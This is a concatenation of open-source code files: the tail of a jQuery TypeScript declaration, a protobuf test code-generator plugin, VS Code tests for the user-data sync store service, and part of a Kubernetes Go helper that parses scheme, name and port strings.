JQuery;\n\n scroll(handler: (eventObject: JQueryEventObject) => any): JQuery;\n scroll(eventData?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n\n select(handler: (eventObject: JQueryEventObject) => any): JQuery;\n select(eventData?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n\n submit(handler: (eventObject: JQueryEventObject) => any): JQuery;\n submit(eventData?: any, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n\n trigger(eventType: string, ...extraParameters: any[]): JQuery;\n trigger(event: JQueryEventObject): JQuery;\n\n triggerHandler(eventType: string, ...extraParameters: any[]): Object;\n\n unbind(eventType?: string, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n unbind(eventType: string, fls: boolean): JQuery;\n unbind(evt: any): JQuery;\n\n undelegate(): JQuery;\n undelegate(selector: any, eventType: string, handler?: (eventObject: JQueryEventObject) => any): JQuery;\n undelegate(selector: any, events: any): JQuery;\n undelegate(namespace: string): JQuery;\n\n // Internals\n context: Element;\n jquery: string;\n pushStack(elements: any[]): JQuery;\n pushStack(elements: any[], name: any, arguments: any): JQuery;\n\n // Manipulation\n after(func: (index: any) => any): JQuery;\n after(...content: any[]): JQuery;\n\n append(func: (index: any, html: any) => any): JQuery;\n append(...content: any[]): JQuery;\n\n appendTo(target: any): JQuery;\n\n before(func: (index: any) => any): JQuery;\n before(...content: any[]): JQuery;\n\n clone(withDataAndEvents?: boolean, deepWithDataAndEvents?: boolean): JQuery;\n\n detach(selector?: any): JQuery;\n\n empty(): JQuery;\n\n insertAfter(target: any): JQuery;\n insertBefore(target: any): JQuery;\n\n prepend(func: (index: any, html: any) => any): JQuery;\n prepend(...content: any[]): JQuery;\n\n prependTo(target: any): JQuery;\n\n remove(selector?: any): JQuery;\n\n replaceAll(target: any): JQuery;\n\n replaceWith(func: any): JQuery;\n\n text(textString: string): JQuery;\n text(): string;\n\n toArray(): any[];\n\n unwrap(): JQuery;\n\n wrap(func: (index: any) => any): JQuery;\n wrap(wrappingElement: any): JQuery;\n\n wrapAll(wrappingElement: any): JQuery;\n\n wrapInner(func: (index: any) => any): JQuery;\n wrapInner(wrappingElement: any): JQuery;\n\n // Miscellaneous\n each(func: (index: any, elem: Element) => any): JQuery;\n\n get(index?: number): any;\n\n index(selectorOrElement?: any): number;\n\n // Properties\n length: number;\n [x: number]: HTMLElement;\n\n // Traversing\n add(selector: string, context?: any): JQuery;\n add(html: string): JQuery;\n add(obj: JQuery): JQuery;\n add(...elements: any[]): JQuery;\n\n addBack(selector?: any): JQuery;\n\n children(selector?: any): JQuery;\n\n closest(selector: string): JQuery;\n closest(selector: string, context?: Element): JQuery;\n closest(obj: JQuery): JQuery;\n closest(element: any): JQuery;\n closest(selectors: any, context?: Element): any[];\n\n contents(): JQuery;\n\n end(): JQuery;\n\n eq(index: number): JQuery;\n\n filter(selector: string): JQuery;\n filter(func: (index: any) => any): JQuery;\n filter(obj: JQuery): JQuery;\n filter(element: any): JQuery;\n\n find(selector: string): JQuery;\n find(element: any): JQuery;\n find(obj: JQuery): JQuery;\n\n first(): JQuery;\n\n has(selector: string): JQuery;\n has(contained: Element): JQuery;\n\n is(selector: string): boolean;\n is(func: (index: any) => any): boolean;\n is(obj: JQuery): boolean;\n is(element: any): boolean;\n\n last(): JQuery;\n\n map(callback: (index: any, domElement: Element) => any): JQuery;\n\n next(selector?: string): JQuery;\n\n nextAll(selector?: string): JQuery;\n\n nextUntil(selector?: string, filter?: string): JQuery;\n nextUntil(element?: Element, filter?: string): JQuery;\n\n not(selector: string): JQuery;\n not(func: (index: any) => any): JQuery;\n not(obj: JQuery): JQuery;\n not(element: any): JQuery;\n\n offsetParent(): JQuery;\n\n parent(selector?: string): JQuery;\n\n parents(selector?: string): JQuery;\n\n parentsUntil(selector?: string, filter?: string): JQuery;\n parentsUntil(element?: Element, filter?: string): JQuery;\n\n prev(selector?: string): JQuery;\n\n prevAll(selector?: string): JQuery;\n\n prevUntil(selector?: string, filter?: string): JQuery;\n prevUntil(element?: Element, filter?: string): JQuery;\n\n siblings(selector?: string): JQuery;\n\n slice(start: number, end?: number): JQuery;\n}\n\ndeclare var jQuery: JQueryStatic;\ndeclare var $: JQueryStatic;\n"} {"text": "// Protocol Buffers - Google's data interchange format\n// Copyright 2008 Google Inc. All rights reserved.\n// http://code.google.com/p/protobuf/\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n// * Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n// * Redistributions in binary form must reproduce the above\n// copyright notice, this list of conditions and the following disclaimer\n// in the documentation and/or other materials provided with the\n// distribution.\n// * Neither the name of Google Inc. nor the names of its\n// contributors may be used to endorse or promote products derived from\n// this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n// Author: kenton@google.com (Kenton Varda)\n//\n// This is a dummy code generator plugin used by\n// command_line_interface_unittest.\n\n#include <string>\n#include <stdlib.h>\n#include <google/protobuf/compiler/plugin.h>\n#include <google/protobuf/compiler/mock_code_generator.h>\n#include <google/protobuf/stubs/strutil.h>\n\nint main(int argc, char* argv[]) {\n#ifdef _MSC_VER\n // Don't print a silly message or stick a modal dialog box in my face,\n // please.\n _set_abort_behavior(0, ~0);\n#endif // !_MSC_VER\n\n google::protobuf::compiler::MockCodeGenerator generator(\"test_plugin\");\n return google::protobuf::compiler::PluginMain(argc, argv, &generator);\n}\n"} {"text": "/*---------------------------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * Licensed under the MIT License. See License.txt in the project root for license information.\n *--------------------------------------------------------------------------------------------*/\n\nimport * as assert from 'assert';\nimport { IUserDataSyncStoreService, SyncResource, UserDataSyncErrorCode, UserDataSyncStoreError, IUserDataSyncStoreManagementService, IUserDataSyncStore } from 'vs/platform/userDataSync/common/userDataSync';\nimport { UserDataSyncClient, UserDataSyncTestServer } from 'vs/platform/userDataSync/test/common/userDataSyncClient';\nimport { DisposableStore } from 'vs/base/common/lifecycle';\nimport { IProductService, ConfigurationSyncStore } from 'vs/platform/product/common/productService';\nimport { isWeb } from 'vs/base/common/platform';\nimport { RequestsSession, UserDataSyncStoreService, UserDataSyncStoreManagementService } from 'vs/platform/userDataSync/common/userDataSyncStoreService';\nimport { CancellationToken } from 'vs/base/common/cancellation';\nimport { IRequestService } from 'vs/platform/request/common/request';\nimport { newWriteableBufferStream, VSBuffer } from 'vs/base/common/buffer';\nimport { timeout } from 'vs/base/common/async';\nimport { NullLogService } from 'vs/platform/log/common/log';\nimport { Event } from 'vs/base/common/event';\nimport product from 'vs/platform/product/common/product';\nimport { IFileService } from 'vs/platform/files/common/files';\nimport { IEnvironmentService } from 'vs/platform/environment/common/environment';\nimport { IConfigurationService } from 'vs/platform/configuration/common/configuration';\nimport { URI } from 'vs/base/common/uri';\n\nsuite('UserDataSyncStoreManagementService', () => {\n\tconst disposableStore = new DisposableStore();\n\n\tteardown(() => disposableStore.clear());\n\n\ttest('test sync store is read from settings', async () => {\n\t\tconst client = disposableStore.add(new UserDataSyncClient(new UserDataSyncTestServer()));\n\t\tawait client.setUp();\n\n\t\tclient.instantiationService.stub(IProductService, {\n\t\t\t_serviceBrand: undefined, ...product, ...{\n\t\t\t\t'configurationSync.store': undefined\n\t\t\t}\n\t\t});\n\n\t\tconst configuredStore: ConfigurationSyncStore = {\n\t\t\turl: 'http://configureHost:3000',\n\t\t\tstableUrl: 'http://configureHost:3000',\n\t\t\tinsidersUrl: 'http://configureHost:3000',\n\t\t\tcanSwitch: false,\n\t\t\tauthenticationProviders: { 'configuredAuthProvider': { scopes: [] } }\n\t\t};\n\t\tawait client.instantiationService.get(IFileService).writeFile(client.instantiationService.get(IEnvironmentService).settingsResource, VSBuffer.fromString(JSON.stringify({\n\t\t\t'configurationSync.store': configuredStore\n\t\t})));\n\t\tawait client.instantiationService.get(IConfigurationService).reloadConfiguration();\n\n\t\tconst expected: IUserDataSyncStore = {\n\t\t\turl: URI.parse('http://configureHost:3000'),\n\t\t\tdefaultUrl: URI.parse('http://configureHost:3000'),\n\t\t\tstableUrl: URI.parse('http://configureHost:3000'),\n\t\t\tinsidersUrl: URI.parse('http://configureHost:3000'),\n\t\t\tcanSwitch: false,\n\t\t\tauthenticationProviders: [{ id: 'configuredAuthProvider', scopes: [] }]\n\t\t};\n\n\t\tconst testObject: IUserDataSyncStoreManagementService = client.instantiationService.createInstance(UserDataSyncStoreManagementService);\n\n\t\tassert.equal(testObject.userDataSyncStore?.url.toString(), expected.url.toString());\n\t\tassert.equal(testObject.userDataSyncStore?.defaultUrl.toString(), expected.defaultUrl.toString());\n\t\tassert.deepEqual(testObject.userDataSyncStore?.authenticationProviders, expected.authenticationProviders);\n\t});\n\n});\n\nsuite('UserDataSyncStoreService', () => {\n\n\tconst disposableStore = new DisposableStore();\n\n\tteardown(() => disposableStore.clear());\n\n\ttest('test read manifest for the first time', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\t\tconst productService = client.instantiationService.get(IProductService);\n\n\t\tawait testObject.manifest();\n\n\t\tassert.equal(target.requestsWithAllHeaders.length, 1);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-Client-Name'], `${productService.applicationName}${isWeb ? '-web' : ''}`);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-Client-Version'], productService.version);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-Machine-Id'], undefined);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], undefined);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], undefined);\n\t});\n\n\ttest('test read manifest for the second time when session is not yet created', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\tconst machineSessionId = target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'];\n\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\n\t\tassert.equal(target.requestsWithAllHeaders.length, 1);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], machineSessionId);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], undefined);\n\t});\n\n\ttest('test session id header is not set in the first manifest request after session is created', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\tconst machineSessionId = target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'];\n\t\tawait testObject.write(SyncResource.Settings, 'some content', null);\n\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\n\t\tassert.equal(target.requestsWithAllHeaders.length, 1);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], machineSessionId);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], undefined);\n\t});\n\n\ttest('test session id header is set from the second manifest request after session is created', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\tconst machineSessionId = target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'];\n\t\tawait testObject.write(SyncResource.Settings, 'some content', null);\n\t\tawait testObject.manifest();\n\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\n\t\tassert.equal(target.requestsWithAllHeaders.length, 1);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], machineSessionId);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], undefined);\n\t});\n\n\ttest('test headers are send for write request', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\tconst machineSessionId = target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'];\n\t\tawait testObject.write(SyncResource.Settings, 'some content', null);\n\t\tawait testObject.manifest();\n\t\tawait testObject.manifest();\n\n\t\ttarget.reset();\n\t\tawait testObject.write(SyncResource.Settings, 'some content', null);\n\n\t\tassert.equal(target.requestsWithAllHeaders.length, 1);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], machineSessionId);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], undefined);\n\t});\n\n\ttest('test headers are send for read request', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\tconst machineSessionId = target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'];\n\t\tawait testObject.write(SyncResource.Settings, 'some content', null);\n\t\tawait testObject.manifest();\n\t\tawait testObject.manifest();\n\n\t\ttarget.reset();\n\t\tawait testObject.read(SyncResource.Settings, null);\n\n\t\tassert.equal(target.requestsWithAllHeaders.length, 1);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], machineSessionId);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], undefined);\n\t});\n\n\ttest('test headers are reset after session is cleared ', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\tconst machineSessionId = target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'];\n\t\tawait testObject.write(SyncResource.Settings, 'some content', null);\n\t\tawait testObject.manifest();\n\t\tawait testObject.manifest();\n\t\tawait testObject.clear();\n\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\n\t\tassert.equal(target.requestsWithAllHeaders.length, 1);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], undefined);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], machineSessionId);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], undefined);\n\t});\n\n\ttest('test old headers are sent after session is changed on server ', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\tawait testObject.write(SyncResource.Settings, 'some content', null);\n\t\tawait testObject.manifest();\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\t\tconst machineSessionId = target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'];\n\t\tconst userSessionId = target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'];\n\t\tawait target.clear();\n\n\t\t// client 2\n\t\tconst client2 = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client2.setUp();\n\t\tconst testObject2 = client2.instantiationService.get(IUserDataSyncStoreService);\n\t\tawait testObject2.write(SyncResource.Settings, 'some content', null);\n\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\n\t\tassert.equal(target.requestsWithAllHeaders.length, 1);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], undefined);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], machineSessionId);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], undefined);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], userSessionId);\n\t});\n\n\ttest('test old headers are reset from second request after session is changed on server ', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\tawait testObject.write(SyncResource.Settings, 'some content', null);\n\t\tawait testObject.manifest();\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\t\tconst machineSessionId = target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'];\n\t\tconst userSessionId = target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'];\n\t\tawait target.clear();\n\n\t\t// client 2\n\t\tconst client2 = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client2.setUp();\n\t\tconst testObject2 = client2.instantiationService.get(IUserDataSyncStoreService);\n\t\tawait testObject2.write(SyncResource.Settings, 'some content', null);\n\n\t\tawait testObject.manifest();\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\n\t\tassert.equal(target.requestsWithAllHeaders.length, 1);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], undefined);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], machineSessionId);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], undefined);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], userSessionId);\n\t});\n\n\ttest('test old headers are sent after session is cleared from another server ', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\tawait testObject.write(SyncResource.Settings, 'some content', null);\n\t\tawait testObject.manifest();\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\t\tconst machineSessionId = target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'];\n\t\tconst userSessionId = target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'];\n\n\t\t// client 2\n\t\tconst client2 = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client2.setUp();\n\t\tconst testObject2 = client2.instantiationService.get(IUserDataSyncStoreService);\n\t\tawait testObject2.clear();\n\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\n\t\tassert.equal(target.requestsWithAllHeaders.length, 1);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], undefined);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], machineSessionId);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], undefined);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], userSessionId);\n\t});\n\n\ttest('test headers are reset after session is cleared from another server ', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\tawait testObject.write(SyncResource.Settings, 'some content', null);\n\t\tawait testObject.manifest();\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\t\tconst machineSessionId = target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'];\n\n\t\t// client 2\n\t\tconst client2 = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client2.setUp();\n\t\tconst testObject2 = client2.instantiationService.get(IUserDataSyncStoreService);\n\t\tawait testObject2.clear();\n\n\t\tawait testObject.manifest();\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\n\t\tassert.equal(target.requestsWithAllHeaders.length, 1);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], undefined);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], machineSessionId);\n\t\tassert.equal(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], undefined);\n\t});\n\n\ttest('test headers are reset after session is cleared from another server - started syncing again', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\tawait testObject.write(SyncResource.Settings, 'some content', null);\n\t\tawait testObject.manifest();\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\t\tconst machineSessionId = target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'];\n\t\tconst userSessionId = target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'];\n\n\t\t// client 2\n\t\tconst client2 = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client2.setUp();\n\t\tconst testObject2 = client2.instantiationService.get(IUserDataSyncStoreService);\n\t\tawait testObject2.clear();\n\n\t\tawait testObject.manifest();\n\t\tawait testObject.write(SyncResource.Settings, 'some content', null);\n\t\tawait testObject.manifest();\n\t\ttarget.reset();\n\t\tawait testObject.manifest();\n\n\t\tassert.equal(target.requestsWithAllHeaders.length, 1);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], undefined);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-Machine-Session-Id'], machineSessionId);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], userSessionId);\n\t\tassert.notEqual(target.requestsWithAllHeaders[0].headers!['X-User-Session-Id'], undefined);\n\t});\n\n\ttest('test rate limit on server with retry after', async () => {\n\t\tconst target = new UserDataSyncTestServer(1, 1);\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\n\t\tconst promise = Event.toPromise(testObject.onDidChangeDonotMakeRequestsUntil);\n\t\ttry {\n\t\t\tawait testObject.manifest();\n\t\t\tassert.fail('should fail');\n\t\t} catch (e) {\n\t\t\tassert.ok(e instanceof UserDataSyncStoreError);\n\t\t\tassert.deepEqual((<UserDataSyncStoreError>e).code, UserDataSyncErrorCode.TooManyRequestsAndRetryAfter);\n\t\t\tawait promise;\n\t\t\tassert.ok(!!testObject.donotMakeRequestsUntil);\n\t\t}\n\t});\n\n\ttest('test donotMakeRequestsUntil is reset after retry time is finished', async () => {\n\t\tconst client = disposableStore.add(new UserDataSyncClient(new UserDataSyncTestServer(1, 0.25)));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\ttry {\n\t\t\tawait testObject.manifest();\n\t\t} catch (e) { }\n\n\t\tconst promise = Event.toPromise(testObject.onDidChangeDonotMakeRequestsUntil);\n\t\tawait timeout(300);\n\t\tawait promise;\n\t\tassert.ok(!testObject.donotMakeRequestsUntil);\n\t});\n\n\ttest('test donotMakeRequestsUntil is retrieved', async () => {\n\t\tconst client = disposableStore.add(new UserDataSyncClient(new UserDataSyncTestServer(1, 1)));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\ttry {\n\t\t\tawait testObject.manifest();\n\t\t} catch (e) { }\n\n\t\tconst target = client.instantiationService.createInstance(UserDataSyncStoreService);\n\t\tassert.equal(target.donotMakeRequestsUntil?.getTime(), testObject.donotMakeRequestsUntil?.getTime());\n\t});\n\n\ttest('test donotMakeRequestsUntil is checked and reset after retreived', async () => {\n\t\tconst client = disposableStore.add(new UserDataSyncClient(new UserDataSyncTestServer(1, 0.25)));\n\t\tawait client.setUp();\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\n\t\tawait testObject.manifest();\n\t\ttry {\n\t\t\tawait testObject.manifest();\n\t\t} catch (e) { }\n\n\t\tawait timeout(300);\n\t\tconst target = client.instantiationService.createInstance(UserDataSyncStoreService);\n\t\tassert.ok(!target.donotMakeRequestsUntil);\n\t});\n\n\ttest('test read resource request handles 304', async () => {\n\t\t// Setup the client\n\t\tconst target = new UserDataSyncTestServer();\n\t\tconst client = disposableStore.add(new UserDataSyncClient(target));\n\t\tawait client.setUp();\n\t\tawait client.sync();\n\n\t\tconst testObject = client.instantiationService.get(IUserDataSyncStoreService);\n\t\tconst expected = await testObject.read(SyncResource.Settings, null);\n\t\tconst actual = await testObject.read(SyncResource.Settings, expected);\n\n\t\tassert.equal(actual, expected);\n\t});\n\n});\n\nsuite('UserDataSyncRequestsSession', () => {\n\n\tconst requestService: IRequestService = {\n\t\t_serviceBrand: undefined,\n\t\tasync request() { return { res: { headers: {} }, stream: newWriteableBufferStream() }; },\n\t\tasync resolveProxy() { return undefined; }\n\t};\n\n\ttest('too many requests are thrown when limit exceeded', async () => {\n\t\tconst testObject = new RequestsSession(1, 500, requestService, new NullLogService());\n\t\tawait testObject.request({}, CancellationToken.None);\n\n\t\ttry {\n\t\t\tawait testObject.request({}, CancellationToken.None);\n\t\t} catch (error) {\n\t\t\tassert.ok(error instanceof UserDataSyncStoreError);\n\t\t\tassert.equal((<UserDataSyncStoreError>error).code, UserDataSyncErrorCode.LocalTooManyRequests);\n\t\t\treturn;\n\t\t}\n\t\tassert.fail('Should fail with limit exceeded');\n\t});\n\n\ttest('requests are handled after session is expired', async () => {\n\t\tconst testObject = new RequestsSession(1, 500, requestService, new NullLogService());\n\t\tawait testObject.request({}, CancellationToken.None);\n\t\tawait timeout(600);\n\t\tawait testObject.request({}, CancellationToken.None);\n\t});\n\n\ttest('too many requests are thrown after session is expired', async () => {\n\t\tconst testObject = new RequestsSession(1, 500, requestService, new NullLogService());\n\t\tawait testObject.request({}, CancellationToken.None);\n\t\tawait timeout(600);\n\t\tawait testObject.request({}, CancellationToken.None);\n\n\t\ttry {\n\t\t\tawait testObject.request({}, CancellationToken.None);\n\t\t} catch (error) {\n\t\t\tassert.ok(error instanceof UserDataSyncStoreError);\n\t\t\tassert.equal((<UserDataSyncStoreError>error).code, UserDataSyncErrorCode.LocalTooManyRequests);\n\t\t\treturn;\n\t\t}\n\t\tassert.fail('Should fail with limit exceeded');\n\t});\n\n});\n"} {"text": "/*\nCopyright 2015 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage net\n\nimport (\n\t\"strings\"\n\n\t\"k8s.io/apimachinery/pkg/util/sets\"\n)\n\nvar validSchemes = sets.NewString(\"http\", \"https\", \"\")\n\n// SplitSchemeNamePort takes a string of the following forms:\n// * \"<name>\", returns \"\", \"<name>\",\"\", true\n// * \"<name>:<port>\", returns \"\", \"<name>\",\"<port>\",true\n// * \"<scheme>:<name>:<port>\", returns \"<scheme>\",\"<name>\",\"<port>\",true\n//\n// Name must be non-empty or valid will be returned false.\n// Scheme must be \"http\" or \"https\" if specified\n// Port is returned as a string, and it is not required to be numeric (could be\n// used for a named port, for example).\nfunc SplitSchemeNamePort(id string) (scheme, name, port string, valid bool) {\n\tparts := strings.Split(id, \":\")\n\tswitch len(parts) {\n\tcase 1:\n\t\tname = parts[0]\n\tcase 2:\n\t\tname = parts[0]\n\t\tport = parts[1]\n\tcase 3:\n\t\tscheme = parts[0]\n\t\tname = parts[1]\n\t\tport = parts[2]\n\tdefault:\n\t\treturn \"\", \"\", \"\", false\n\t}\n\n\tif len(name) > 0 && validSchemes.Has(scheme) {\n\t\treturn scheme, name, port, true\n\t} else {\n\t\treturn \"\", \"\", \"\", false\n\t}\n}\n\n// 